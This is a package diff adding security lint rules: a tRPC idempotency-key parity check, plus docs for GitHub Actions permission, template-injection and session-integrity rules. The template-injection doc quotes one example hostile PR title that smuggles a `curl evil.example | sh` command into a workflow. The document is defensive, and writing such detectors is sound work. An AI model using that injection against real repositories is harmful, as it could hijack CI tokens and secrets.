@noctcore/lint-meta-rules 0.4.2 → 0.6.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/dist/trpc.d.ts ADDED
@@ -0,0 +1,59 @@
1
+ import { IMetaRule } from '@noctcore/harness';
2
+
3
+ /**
4
+ * Options for {@link createIdempotencyKeyParityRule}.
5
+ *
6
+ * Ported from Settly, which hardcoded the middleware (`IdempotencyMiddleware`),
7
+ * the key (`idempotencyKey`) and the two trees (`apps/api/src` routers,
8
+ * `apps/web/src` callers). Those are options; the decorator shape defaults to
9
+ * `nestjs-trpc`'s (`@Router({ alias })`, `@UseMiddlewares(...)`) and the client
10
+ * shape to a `trpc.<alias>.<method>` proxy. With no `middleware` the rule is inert.
11
+ */
12
+ interface IdempotencyKeyParityOptions {
13
+ /** Rule id, for running more than one instance. Default `idempotency-key-parity`. */
14
+ readonly id?: string;
15
+ /** The middleware class that de-duplicates on a client-sent key. Unset or empty = inert. */
16
+ readonly middleware?: string;
17
+ /** Globs of the server router files. Default: none (inert). */
18
+ readonly routerGlobs?: readonly string[];
19
+ /** Globs of every client file that can call a procedure or send a key. Default: none. */
20
+ readonly clientGlobs?: readonly string[];
21
+ /** The token a client file must mention to count as sending a key. Default `idempotencyKey`. */
22
+ readonly keyToken?: string;
23
+ /** What precedes `<alias>.<method>` at a client call site. Default `trpc.`. */
24
+ readonly clientPrefix?: string;
25
+ /** The class decorator that names the router. Default `Router`. */
26
+ readonly routerDecorator?: string;
27
+ /** The key in that decorator's object argument holding the router's alias. Default `alias`. */
28
+ readonly aliasKey?: string;
29
+ /** The method decorator listing a procedure's middlewares. Default `UseMiddlewares`. */
30
+ readonly middlewareDecorator?: string;
31
+ /**
32
+ * `<alias>.<method>` procedures whose caller deliberately sends no key. Keep
33
+ * it empty: the honest fix for "a key will never be sent here" is to drop the
34
+ * middleware. Default: none.
35
+ */
36
+ readonly exempt?: readonly string[];
37
+ /** Paths with any of these segments are skipped. Default `node_modules`, `.git`, `dist`, `.turbo`, `coverage`. */
38
+ readonly skipDirs?: readonly string[];
39
+ /** Appended to every message: how this project threads the key. */
40
+ readonly hint?: string;
41
+ /** Whether a violation fails CI. Default `true`. */
42
+ readonly ciCritical?: boolean;
43
+ }
44
+ /**
45
+ * Every idempotency-guarded procedure has a client caller that sends a key, or
46
+ * no client caller at all.
47
+ *
48
+ * The middleware only de-duplicates when the client sends a key, and neither
49
+ * half fails when the other is missing: the server passes the request through,
50
+ * the client gets a normal response, and both test suites pass. A guard nobody
51
+ * sends a key to is decoration advertising double-submit protection that does
52
+ * not exist. The rule holds the two lists side by side. A procedure with no
53
+ * client caller passes: the guard is correct in advance of the screen that will
54
+ * use it. The reverse (a key sent to an unguarded procedure) is inert and needs
55
+ * no rule.
56
+ */
57
+ declare function createIdempotencyKeyParityRule(options?: IdempotencyKeyParityOptions): IMetaRule;
58
+
59
+ export { type IdempotencyKeyParityOptions, createIdempotencyKeyParityRule };
package/dist/trpc.js ADDED
@@ -0,0 +1,73 @@
1
+ import {
2
+ DEFAULT_SKIP_DIRS,
3
+ escapeRegExp,
4
+ globFiles,
5
+ readSourceText
6
+ } from "./chunk-OYFQKSJN.js";
7
+
8
+ // src/trpc/idempotency-key-parity.ts
9
+ var DEFAULT_ID = "idempotency-key-parity";
10
+ function routerAlias(source, names) {
11
+ return names.alias.exec(source)?.[2] ?? null;
12
+ }
13
+ function guardedMethods(source, names) {
14
+ const methods = [];
15
+ const decorator = new RegExp(names.decorator.source, "gu");
16
+ let match;
17
+ while ((match = decorator.exec(source)) !== null) {
18
+ if (!names.middleware.test(match[1] ?? "")) continue;
19
+ const rest = source.slice(match.index + match[0].length);
20
+ const method = /\basync\s+([A-Za-z_$][\w$]*)\s*\(/u.exec(rest)?.[1];
21
+ if (method !== void 0) methods.push(method);
22
+ }
23
+ return methods;
24
+ }
25
+ function createIdempotencyKeyParityRule(options = {}) {
26
+ const id = options.id ?? DEFAULT_ID;
27
+ const middleware = options.middleware ?? "";
28
+ const keyToken = options.keyToken ?? "idempotencyKey";
29
+ const clientPrefix = options.clientPrefix ?? "trpc.";
30
+ const skipDirs = options.skipDirs ?? DEFAULT_SKIP_DIRS;
31
+ const exempt = new Set(options.exempt ?? []);
32
+ const names = {
33
+ alias: new RegExp(
34
+ `@${escapeRegExp(options.routerDecorator ?? "Router")}\\(\\{[^}]*\\b${escapeRegExp(options.aliasKey ?? "alias")}:\\s*(['"])([^'"]+)\\1`,
35
+ "u"
36
+ ),
37
+ decorator: new RegExp(`@${escapeRegExp(options.middlewareDecorator ?? "UseMiddlewares")}\\(([^)]*)\\)`, "u"),
38
+ middleware: new RegExp(`\\b${escapeRegExp(middleware)}\\b`, "u")
39
+ };
40
+ return {
41
+ id,
42
+ category: "source-text",
43
+ ciCritical: options.ciCritical ?? true,
44
+ description: "Procedures carrying the idempotency middleware must have a client caller that sends an idempotency key, or no client caller at all.",
45
+ run(ctx) {
46
+ if (middleware === "") return [];
47
+ const clientSources = globFiles(ctx.glob, options.clientGlobs ?? [], skipDirs).map((file) => readSourceText(ctx.read, file)).filter((text) => text !== null);
48
+ const violations = [];
49
+ for (const file of globFiles(ctx.glob, options.routerGlobs ?? [], skipDirs)) {
50
+ const source = readSourceText(ctx.read, file);
51
+ if (source === null || !names.middleware.test(source)) continue;
52
+ const alias = routerAlias(source, names);
53
+ if (alias === null) continue;
54
+ for (const method of guardedMethods(source, names)) {
55
+ const path = `${alias}.${method}`;
56
+ if (exempt.has(path)) continue;
57
+ const callers = clientSources.filter((text) => text.includes(`${clientPrefix}${path}`));
58
+ if (callers.length === 0) continue;
59
+ if (callers.some((text) => text.includes(keyToken))) continue;
60
+ violations.push({
61
+ file,
62
+ rule: id,
63
+ message: `\`${path}\` carries ${middleware} but its client callers never send \`${keyToken}\`, so the guard is inert. Send the key from the caller, or drop the middleware and say why.${options.hint === void 0 || options.hint === "" ? "" : ` ${options.hint}`}`
64
+ });
65
+ }
66
+ }
67
+ return violations;
68
+ }
69
+ };
70
+ }
71
+ export {
72
+ createIdempotencyKeyParityRule
73
+ };
@@ -0,0 +1,71 @@
1
+ # `github-actions-least-privilege-permissions`
2
+
3
+ > A workflow's top-level `permissions:` exists, is not `write-all` / `read-all`, and grants no write.
4
+
5
+ ## Why
6
+
7
+ The top-level `permissions:` is the `GITHUB_TOKEN` every job gets unless the job says otherwise. A
8
+ write there hands every job, and every third-party action any job runs, the power to push commits,
9
+ cut releases or edit issues. Leaving the block out is worse: the token then falls back to the
10
+ repository's default, which is read-write on many repositories and organisations. A compromised
11
+ action or an injected script can only do what the token allows, so the smallest token is the
12
+ cheapest containment there is.
13
+
14
+ Keep the top level read-only and grant each write on the job that needs it.
15
+
16
+ ## What it flags
17
+
18
+ - A workflow with no top-level `permissions:`, naming each job that has no job-level
19
+ `permissions:` either and so runs on the default token. Reported on line 1.
20
+ - `permissions: write-all` and `permissions: read-all` at the top level: every scope, including
21
+ ones the workflow never uses.
22
+ - Every `<scope>: write` in the top-level block (block or flow mapping), one violation per scope, on
23
+ its own line, unless the scope is in `allowTopLevelWrite`.
24
+
25
+ ```yaml
26
+ # Bad
27
+ permissions: write-all
28
+
29
+ permissions:
30
+ contents: write
31
+ id-token: write
32
+
33
+ # Good
34
+ permissions:
35
+ contents: read
36
+ jobs:
37
+ release:
38
+ permissions:
39
+ contents: write
40
+ id-token: write
41
+ ```
42
+
43
+ ## What it leaves alone
44
+
45
+ - A workflow with no top-level block when every job declares its own `permissions:`: the default
46
+ token then reaches no job.
47
+ - `permissions: {}`, and any scope at `read` or `none`.
48
+ - Writes on a job, a `permissions:` input under a step's `with:`, and a commented-out line.
49
+
50
+ ## Factory
51
+
52
+ ```ts
53
+ createGithubActionsLeastPrivilegePermissionsRule(options?: GithubActionsLeastPrivilegePermissionsOptions): IMetaRule
54
+ ```
55
+
56
+ | Option | Type | Default | Meaning |
57
+ | --- | --- | --- | --- |
58
+ | `workflowGlobs` | `string[]` | `['.github/workflows/*.yml', '.github/workflows/*.yaml']` | Workflow files to scan. |
59
+ | `allowTopLevelWrite` | `string[]` | `[]` | Scopes allowed at `write` in the top-level block, for a repo that accepts, say, `contents: write` on a single-job release workflow. |
60
+ | `ciCritical` | `boolean` | `true` | Whether a violation fails CI. |
61
+
62
+ ## Limits
63
+
64
+ Line-based text, not a YAML parse. It checks the top level only; a job that grants itself more than
65
+ it uses is not judged. A reusable workflow (`on: workflow_call`) is held to the same bar, although
66
+ its token can never exceed its caller's.
67
+
68
+ Prior art: zizmor's [`excessive-permissions`](https://docs.zizmor.sh/audits/#excessive-permissions)
69
+ audit and the OpenSSF Scorecard
70
+ [Token-Permissions](https://github.com/ossf/scorecard/blob/main/docs/checks.md#token-permissions)
71
+ check.
@@ -0,0 +1,93 @@
1
+ # `github-actions-no-template-injection`
2
+
3
+ > `run:` scripts and `actions/github-script` bodies never expand attacker-controllable `${{ }}` context.
4
+
5
+ ## Why
6
+
7
+ GitHub substitutes `${{ }}` into a `run:` script before the shell sees it. A PR titled
8
+ `"; curl https://evil.example/x.sh | sh #` turns `echo "${{ github.event.pull_request.title }}"`
9
+ into a command that runs with the job's `GITHUB_TOKEN` and secrets. On `pull_request_target`,
10
+ `issue_comment` or `workflow_run` that token often has write access, and anyone who can open an
11
+ issue can supply the text. The same holds for the `script:` of `actions/github-script`, which is
12
+ JavaScript built from the substituted text.
13
+
14
+ The fix is to pass the value through `env:` and read it as a variable. An environment variable is
15
+ data; the shell never parses its contents as script.
16
+
17
+ ## What it flags
18
+
19
+ A `${{ }}` expression inside a `run:` value (inline, a `|` / `>` block, or a multi-line plain
20
+ scalar) or inside the `script:` input of an `actions/github-script` step, when it names one of:
21
+
22
+ - `github.event.issue.title` / `.body`, `github.event.pull_request.title` / `.body`,
23
+ `github.event.discussion.title` / `.body`
24
+ - `github.event.pull_request.head.ref` / `.head.label`, `github.head_ref`,
25
+ `github.event.workflow_run.head_branch`
26
+ - `github.event.comment.body`, `github.event.review.body`, `github.event.review_comment.body`
27
+ - `github.event.pages.*.page_name`
28
+ - `github.event.commits.*.message` / `.author` / `.committer`, the same under
29
+ `github.event.head_commit` and `github.event.workflow_run.head_commit`
30
+ - `inputs.<name>` and `github.event.inputs.<name>` (option `checkInputs`, on by default), except an
31
+ input the same file declares as `type: boolean`, `number` or `choice`
32
+ - `steps.<id>.outputs.<name>` (option `checkStepOutputs`, off by default)
33
+
34
+ Workflow files and composite actions (`action.yml` / `action.yaml` at any depth) are scanned. A
35
+ shell comment inside a block is still read: GitHub expands expressions there too. Each violation
36
+ carries the 1-indexed line.
37
+
38
+ ```yaml
39
+ # Bad
40
+ - run: echo "${{ github.event.pull_request.title }}"
41
+ - uses: actions/github-script@<sha> # v7
42
+ with:
43
+ script: console.log(`${{ github.event.issue.body }}`)
44
+
45
+ # Good
46
+ - env:
47
+ TITLE: ${{ github.event.pull_request.title }}
48
+ run: echo "$TITLE"
49
+ - uses: actions/github-script@<sha> # v7
50
+ env:
51
+ BODY: ${{ github.event.issue.body }}
52
+ with:
53
+ script: console.log(process.env.BODY)
54
+ ```
55
+
56
+ ## What it leaves alone
57
+
58
+ - The same expression under `env:`, `with:` (other than a github-script `script:`), `if:`,
59
+ `name:` or `defaults.run`. Those are not parsed as script.
60
+ - Contexts nobody outside the repo controls: `github.sha`, `github.ref_name`,
61
+ `github.event.pull_request.number`, `github.event.pull_request.head.sha`, `matrix.*`,
62
+ `secrets.*`, `needs.*`, and `steps.*.outputs.*` unless `checkStepOutputs` is on.
63
+ - A `script:` input of any action other than `actions/github-script`.
64
+ - A YAML comment (`# run: ...`) and the trailing ` # ...` of a plain inline `run:`, which YAML
65
+ strips before GitHub sees the value.
66
+ - Paths with a `node_modules`, `.git`, `dist`, `.turbo` or `coverage` segment.
67
+
68
+ ## Factory
69
+
70
+ ```ts
71
+ createGithubActionsNoTemplateInjectionRule(options?: GithubActionsNoTemplateInjectionOptions): IMetaRule
72
+ ```
73
+
74
+ | Option | Type | Default | Meaning |
75
+ | --- | --- | --- | --- |
76
+ | `workflowGlobs` | `string[]` | `['.github/workflows/*.yml', '.github/workflows/*.yaml']` | Workflow files to scan. |
77
+ | `actionGlobs` | `string[]` | `action.yml` / `action.yaml` at any depth | Composite action metadata to scan. |
78
+ | `skipDirs` | `string[]` | `['node_modules', '.git', 'dist', '.turbo', 'coverage']` | An action path with any of these segments is skipped. |
79
+ | `checkInputs` | `boolean` | `true` | Treat `inputs.*` as attacker-controlled. A reusable workflow or composite action cannot know what its caller passes. |
80
+ | `checkStepOutputs` | `boolean` | `false` | Treat `steps.*.outputs.*` as attacker-controlled. Turn it on when steps echo event text into outputs. |
81
+ | `ciCritical` | `boolean` | `true` | Whether a violation fails CI. |
82
+
83
+ ## Limits
84
+
85
+ Line-based text, not a YAML parse. An expression split across lines, the bracket form
86
+ (`github.event['issue']['title']`), `toJSON(github.event)` and a value laundered through `env.*`
87
+ set from event text are not seen. An expression that only tests a tainted field
88
+ (`${{ contains(github.event.issue.title, 'x') }}`) evaluates to a boolean but is still reported;
89
+ move the test to `if:` or into the script.
90
+
91
+ Prior art: zizmor's [`template-injection`](https://docs.zizmor.sh/audits/#template-injection) audit
92
+ and GitHub's
93
+ [security hardening guide](https://docs.github.com/en/actions/security-for-github-actions/security-guides/security-hardening-for-github-actions#understanding-the-risk-of-script-injections).
@@ -0,0 +1,83 @@
1
+ # `idempotency-key-parity`
2
+
3
+ > A procedure guarded by an idempotency middleware has a client caller that sends the key, or no
4
+ > client caller at all.
5
+
6
+ Import it from the `trpc` entry point:
7
+
8
+ ```ts
9
+ import { createIdempotencyKeyParityRule } from '@noctcore/lint-meta-rules/trpc';
10
+ ```
11
+
12
+ ## Why
13
+
14
+ An idempotency middleware only de-duplicates when the client sends a key, and neither half fails when
15
+ the other is missing. The server passes the request straight through, the client gets a normal
16
+ response, and both test suites pass. A guard nobody sends a key to is decoration advertising
17
+ double-submit protection that does not exist. In the project this rule was extracted from, an audit
18
+ found 14 of 30 guarded procedures whose only web caller had never sent a key.
19
+
20
+ The gap is only visible by holding the two lists side by side, which is what this rule does.
21
+
22
+ ## What it flags
23
+
24
+ For every method in a `routerGlobs` file decorated with a `@<middlewareDecorator>(...)` list naming
25
+ `middleware` (as a whole word), the rule derives `<alias>.<method>` from the class's
26
+ `@<routerDecorator>({ <aliasKey>: '...' })`. If some `clientGlobs` file contains
27
+ `<clientPrefix><alias>.<method>` and none of those files contains `keyToken`, the router file is
28
+ reported.
29
+
30
+ The method is read from the decorator to the next `async <name>(`, the shape `nestjs-trpc` routers
31
+ take.
32
+
33
+ ## What it leaves alone
34
+
35
+ - A guarded procedure with no client caller: the guard is correct in advance of the screen that will
36
+ use it, and demanding a caller would be demanding the screen.
37
+ - A procedure without the middleware, even when a client sends it a key: the header is ignored, so it
38
+ is inert rather than misleading.
39
+ - A middleware whose name merely starts with the configured one (`IdempotencyMiddlewareLegacy`).
40
+ - Procedures listed in `exempt`, and a router file with no alias.
41
+
42
+ A key sent from a DIFFERENT client file than the one naming the call counts, and so does a client test
43
+ file, if `clientGlobs` match it: the check is per procedure, across the client tree.
44
+
45
+ With no `middleware` the rule is inert.
46
+
47
+ ## Factory
48
+
49
+ ```ts
50
+ createIdempotencyKeyParityRule(options?: IdempotencyKeyParityOptions): IMetaRule
51
+ ```
52
+
53
+ | Option | Type | Default | Meaning |
54
+ | --- | --- | --- | --- |
55
+ | `id` | `string` | `'idempotency-key-parity'` | Rule id. |
56
+ | `middleware` | `string` | none (inert) | The middleware class that de-duplicates on a client-sent key. |
57
+ | `routerGlobs` | `string[]` | `[]` | Server router files. |
58
+ | `clientGlobs` | `string[]` | `[]` | Every client file that can call a procedure or send a key. |
59
+ | `keyToken` | `string` | `'idempotencyKey'` | The token a client file must mention to count as sending a key. |
60
+ | `clientPrefix` | `string` | `'trpc.'` | What precedes `<alias>.<method>` at a client call site. |
61
+ | `routerDecorator` | `string` | `'Router'` | The class decorator that names the router. |
62
+ | `aliasKey` | `string` | `'alias'` | The key in that decorator's object holding the alias. |
63
+ | `middlewareDecorator` | `string` | `'UseMiddlewares'` | The method decorator listing a procedure's middlewares. |
64
+ | `exempt` | `string[]` | `[]` | `<alias>.<method>` procedures whose caller deliberately sends no key. Keep it empty: the honest fix is to drop the middleware. |
65
+ | `skipDirs` | `string[]` | `node_modules`, `.git`, `dist`, `.turbo`, `coverage` | Path segments skipped. |
66
+ | `hint` | `string` | none | Appended to every message: how this project threads the key. |
67
+ | `ciCritical` | `boolean` | `true` | Whether a violation fails CI. |
68
+
69
+ ## Worked example: Settly
70
+
71
+ ```ts
72
+ createIdempotencyKeyParityRule({
73
+ middleware: 'IdempotencyMiddleware',
74
+ routerGlobs: ['apps/api/src/**/*.router.ts'],
75
+ clientGlobs: ['apps/web/src/**/*.{ts,tsx}'],
76
+ hint: "Thread `trpc: { context: { idempotencyKey } }` through the hook's mutationOptions (see hooks/use-idempotency-key.ts).",
77
+ });
78
+ ```
79
+
80
+ ## When not to use it
81
+
82
+ If the key is generated server-side or by a client interceptor on every mutation, no call site can
83
+ forget it.
@@ -0,0 +1,83 @@
1
+ # `session-epoch-captured`
2
+
3
+ > Every call into the sign-in seam passes the session epoch it captured before reading the
4
+ > credential.
5
+
6
+ Import it from the `session` entry point:
7
+
8
+ ```ts
9
+ import { createSessionEpochCapturedRule } from '@noctcore/lint-meta-rules/session';
10
+ ```
11
+
12
+ ## Why
13
+
14
+ A common way to make "sign out everywhere" stick is a per-user epoch: a revocation bumps it, and a mint
15
+ refuses to write a session under a stale value. Where the epoch is read decides what the fence covers.
16
+ Read inside the mint, it covers the session-store write and nothing else, so the whole credential check
17
+ (a password hash verify, an OAuth token exchange) is a window in which a sign-in that already read the
18
+ revoked state still mints a surviving session.
19
+
20
+ So every entry point reads the epoch BEFORE it reads the credential and hands the value to the seam
21
+ that ends the sign-in. Forgetting to is invisible: the sign-in works and every test passes, because the
22
+ race only loses under a concurrent revocation. This rule fails any call into the seam whose arguments
23
+ never mention the epoch.
24
+
25
+ ## What it flags
26
+
27
+ Each `.<call>(...)` call in a file matched by `sourceGlobs` whose argument text (found by balancing
28
+ parentheses) does not mention `field` as a whole word.
29
+
30
+ ## What it leaves alone
31
+
32
+ - `epochless: true`, or any identifier that merely contains the field: whole words only.
33
+ - Files in `exempt` (the seam's own home, which defines the method and its default).
34
+ - Files ending in an `excludeSuffixes` entry, and `skipDirs` segments.
35
+
36
+ With no `call` the rule is inert.
37
+
38
+ Ported from Settly, whose rule matched calls with a regex that stopped at the first `\n );` after the
39
+ call. That missed a call written on one line, and let an unstamped one-line call borrow the epoch of
40
+ the next multi-line call. The parenthesis scanner here reads each call on its own.
41
+
42
+ ## Factory
43
+
44
+ ```ts
45
+ createSessionEpochCapturedRule(options?: SessionEpochCapturedOptions): IMetaRule
46
+ ```
47
+
48
+ | Option | Type | Default | Meaning |
49
+ | --- | --- | --- | --- |
50
+ | `id` | `string` | `'session-epoch-captured'` | Rule id. |
51
+ | `call` | `string` | none (inert) | The post-credential seam, matched as `.<call>(`. |
52
+ | `field` | `string` | `'epoch'` | The argument every call must mention. |
53
+ | `exempt` | `string[]` | `[]` | Repo-relative files skipped outright: the seam's own home. |
54
+ | `captureCall` | `string` | none | How the epoch is captured, quoted in the message. |
55
+ | `sourceGlobs` | `string[]` | `[]` (inert) | Source to read. |
56
+ | `skipDirs` | `string[]` | `node_modules`, `.git`, `dist`, `.turbo`, `coverage` | Path segments skipped. |
57
+ | `excludeSuffixes` | `string[]` | `.spec.ts`, `.spec.tsx`, `.test.ts`, `.test.tsx` | File endings skipped. |
58
+ | `hint` | `string` | none | Appended to every message. |
59
+ | `ciCritical` | `boolean` | `true` | Whether a violation fails CI. |
60
+
61
+ ## Worked example: Settly
62
+
63
+ ```ts
64
+ createSessionEpochCapturedRule({
65
+ call: 'beginOrEstablish',
66
+ exempt: ['apps/api/src/modules/auth/services/two-factor-challenge.service.ts'],
67
+ captureCall: 'sessionService.readEpoch(userId)',
68
+ sourceGlobs: [
69
+ 'apps/*/{src,test,tests,security-spec}/**/*.{ts,tsx}',
70
+ 'packages/*/{src,test,tests,security-spec}/**/*.{ts,tsx}',
71
+ 'tools/**/*.{ts,tsx}',
72
+ ],
73
+ excludeSuffixes: ['.spec.ts', '.test.ts'],
74
+ });
75
+ ```
76
+
77
+ Two Settly flows mint without a captured epoch and are outside the rule by construction, because they
78
+ never call the seam: signup (the account did not exist when the request began) and password change (it
79
+ revokes first and then re-issues, so the current counter is the right one).
80
+
81
+ ## When not to use it
82
+
83
+ Without a revocation epoch (or an equivalent generation counter) there is no fence to extend.
@@ -0,0 +1,81 @@
1
+ # `session-kind-stamped`
2
+
3
+ > Every call that mints a session stamps the principal's kind onto it, or sits in an allowlisted,
4
+ > provably single-kind flow.
5
+
6
+ Import it from the `session` entry point:
7
+
8
+ ```ts
9
+ import { createSessionKindStampedRule } from '@noctcore/lint-meta-rules/session';
10
+ ```
11
+
12
+ ## Why
13
+
14
+ When one sign-in serves two kinds of account (staff and a customer portal, say) and the request
15
+ pipeline reads the kind from the SESSION rather than the database, the stamp is only as good as the
16
+ mint that wrote it. A session minted without the field reads as whatever the reader defaults to. For the
17
+ fence between the two kinds that is a silent promotion: a portal account whose session lost its stamp
18
+ is a staff caller inside its own tenant, and the tenant boundary waves it through as legitimate.
19
+
20
+ This is not hypothetical. In the project this rule was extracted from, two re-issue paths (a password
21
+ change and a revoke-other-sessions action, both reachable by a portal account) shipped without the
22
+ stamp while every gate was green, because nothing mechanical looked.
23
+
24
+ ## What it flags
25
+
26
+ For each `.<mintCall>(...)` call in a file matched by `sourceGlobs` (arguments found by balancing
27
+ parentheses, so a multi-line options object with nested calls is read whole):
28
+
29
+ 1. If the arguments contain an object literal, that literal must mention `field` as a whole word. Each
30
+ call is checked on its own, so a file with two mints where only one stamps is still reported.
31
+ 2. If the arguments carry no literal (options built elsewhere), the file must mention `field`
32
+ somewhere. Coarser, but no silent hole.
33
+ 3. Otherwise the file must be in `allowUnstamped`.
34
+
35
+ Residual gap, stated rather than hidden: a file that stamps the field on one delegated mint and forgets
36
+ it on a second delegated mint passes clause 2.
37
+
38
+ ## What it leaves alone
39
+
40
+ - `.<mintCall>Something(`, and the method's definition.
41
+ - `kindless` or `kinds`: the field must appear as a whole word.
42
+ - Files in `allowUnstamped`, files ending in an `excludeSuffixes` entry, and `skipDirs` segments.
43
+
44
+ With no `mintCall` the rule is inert.
45
+
46
+ ## Factory
47
+
48
+ ```ts
49
+ createSessionKindStampedRule(options?: SessionKindStampedOptions): IMetaRule
50
+ ```
51
+
52
+ | Option | Type | Default | Meaning |
53
+ | --- | --- | --- | --- |
54
+ | `id` | `string` | `'session-kind-stamped'` | Rule id. |
55
+ | `mintCall` | `string` | none (inert) | The method whose call mints a session, matched as `.<mintCall>(`. |
56
+ | `field` | `string` | `'kind'` | The session field every mint must stamp. |
57
+ | `allowUnstamped` | `string[]` | `[]` | Repo-relative files whose mints may stamp nothing because they provably never mint for an account that needs the field. Keep it short; write the proof next to each entry. |
58
+ | `stampExample` | `string` | none | An example of the stamp, quoted in the message. |
59
+ | `sourceGlobs` | `string[]` | `[]` (inert) | Application source to read. |
60
+ | `skipDirs` | `string[]` | `node_modules`, `.git`, `dist`, `.turbo`, `coverage` | Path segments skipped. |
61
+ | `excludeSuffixes` | `string[]` | `.spec.ts`, `.spec.tsx`, `.test.ts`, `.test.tsx` | File endings skipped. |
62
+ | `hint` | `string` | none | Appended to every message. |
63
+ | `ciCritical` | `boolean` | `true` | Whether a violation fails CI. |
64
+
65
+ ## Worked example: Settly
66
+
67
+ ```ts
68
+ createSessionKindStampedRule({
69
+ mintCall: 'establishSession',
70
+ // Self-signup creates a new tenant and its owner ADMIN; a PORTAL row is only ever
71
+ // invite-provisioned, so no input to this flow produces a portal session.
72
+ allowUnstamped: ['apps/api/src/modules/auth/services/register.service.ts'],
73
+ stampExample: "...(user.kind === 'PORTAL' ? { kind: 'PORTAL' as const } : {})",
74
+ sourceGlobs: ['apps/*/{src,test,tests,security-spec}/**/*.{ts,tsx}'],
75
+ });
76
+ ```
77
+
78
+ ## When not to use it
79
+
80
+ If the pipeline reads the account kind from the database on every request, a missing stamp costs
81
+ nothing and there is nothing to fence.
@@ -0,0 +1,87 @@
1
+ # `session-landing-declared`
2
+
3
+ > Every file that opens a door into a session declares where it leaves the caller, and a door whose
4
+ > landing demands a return shape has it.
5
+
6
+ Import it from the `session` entry point:
7
+
8
+ ```ts
9
+ import { createSessionLandingDeclaredRule } from '@noctcore/lint-meta-rules/session';
10
+ ```
11
+
12
+ ## Why
13
+
14
+ With two shells behind one sign-in (staff and a customer portal, say), the client can only send an
15
+ account to the right one if the response that ends the sign-in says which kind it is. The first door
16
+ (the password sign-in) usually does. A second door that finishes a sign-in from a different service (a
17
+ second-factor challenge) can return the same union and still have its landing unwired, and nothing
18
+ fails: the account signs in, lands in the wrong shell, and bounces off its guard. In the project this
19
+ rule was extracted from, every portal account with 2FA enabled did exactly that.
20
+
21
+ Two sibling rules fence the same seam, [`session-mint-callers`](./session-mint-callers.md) (who may
22
+ mint) and [`session-kind-stamped`](./session-kind-stamped.md) (the session carries the kind). Neither
23
+ can see this, because both are about the session and this is about the RESPONSE.
24
+
25
+ ## What it flags
26
+
27
+ 1. **Completeness.** A file matched by `sourceGlobs` that calls any of `doorCalls` and is not in
28
+ `doors`. A new door fails the build until someone classifies it, which is what keeps the list an
29
+ enumeration rather than a docblock nobody updates.
30
+ 2. **The landing's demand.** A door whose landing maps to a string in `landings` and whose source never
31
+ contains that string (for example `Promise<ILoginResult>`, the return type that carries the kind to
32
+ the client). Coarse on purpose: it proves the kind REACHES the client, which is what a text rule can
33
+ see; where the client then navigates is the client's own tests' job.
34
+ 3. **The declarations.** A door whose `landing` is not a key of `landings`, or whose `because` is empty.
35
+ 4. **Staleness.** A door whose file no longer exists, or that `sourceGlobs` do not reach.
36
+
37
+ ## What it leaves alone
38
+
39
+ - A file that only defines a door method (the leading dot is required).
40
+ - A door whose landing maps to `null`: a re-issue that replaces the cookie of a caller already inside a
41
+ shell has no landing to get wrong.
42
+ - Files ending in an `excludeSuffixes` entry, and `skipDirs` segments.
43
+
44
+ With no `doorCalls` the rule is inert.
45
+
46
+ ## Factory
47
+
48
+ ```ts
49
+ createSessionLandingDeclaredRule(options?: SessionLandingDeclaredOptions): IMetaRule
50
+ ```
51
+
52
+ | Option | Type | Default | Meaning |
53
+ | --- | --- | --- | --- |
54
+ | `id` | `string` | `'session-landing-declared'` | Rule id. |
55
+ | `doorCalls` | `string[]` | `[]` (inert) | Methods whose call opens a door into a session (the mint, and the gate in front of it), each matched as `.<name>(`. |
56
+ | `doors` | `{ file, landing, because }[]` | `[]` | Every door: a repo-relative file, one of the `landings`, and why that landing is right. |
57
+ | `landings` | `Record<string, string \| null>` | `{}` | The landings a door may declare, each mapped to the text a door with it must contain, or `null`. |
58
+ | `sourceGlobs` | `string[]` | `[]` (inert) | Application source to read. |
59
+ | `skipDirs` | `string[]` | `node_modules`, `.git`, `dist`, `.turbo`, `coverage` | Path segments skipped. |
60
+ | `excludeSuffixes` | `string[]` | `.spec.ts`, `.spec.tsx`, `.test.ts`, `.test.tsx` | File endings skipped. |
61
+ | `hint` | `string` | none | Appended to every message. |
62
+ | `ciCritical` | `boolean` | `true` | Whether a violation fails CI. |
63
+
64
+ ## Worked example: Settly
65
+
66
+ ```ts
67
+ const AUTH = 'apps/api/src/modules/auth';
68
+
69
+ createSessionLandingDeclaredRule({
70
+ doorCalls: ['establishSession', 'beginOrEstablish'],
71
+ landings: { 'login-result': 'Promise<ILoginResult>', reissue: null, 'staff-only': null },
72
+ doors: [
73
+ { file: `${AUTH}/services/login.service.ts`, landing: 'login-result', because: 'The password sign-in: either half of the product arrives here.' },
74
+ { file: `${AUTH}/services/two-factor-challenge.service.ts`, landing: 'login-result', because: 'The second door: verifyChallenge finishes a sign-in on its own.' },
75
+ { file: `${AUTH}/oauth/oauth.controller.ts`, landing: 'staff-only', because: 'OAuthAccountService refuses a PORTAL account on every resolution branch.' },
76
+ { file: `${AUTH}/services/register.service.ts`, landing: 'staff-only', because: 'Self-signup mints a tenant and its owner ADMIN.' },
77
+ { file: `${AUTH}/services/password-change.service.ts`, landing: 'reissue', because: 'The caller already holds a session.' },
78
+ { file: `${AUTH}/services/session-management.service.ts`, landing: 'reissue', because: 'revokeOthers re-issues the caller their own session.' },
79
+ ],
80
+ sourceGlobs: ['apps/*/{src,test,tests,security-spec}/**/*.{ts,tsx}'],
81
+ });
82
+ ```
83
+
84
+ ## When not to use it
85
+
86
+ With a single shell, or with the landing decided server-side by a redirect that already reads the
87
+ account, there is no landing a door can get wrong.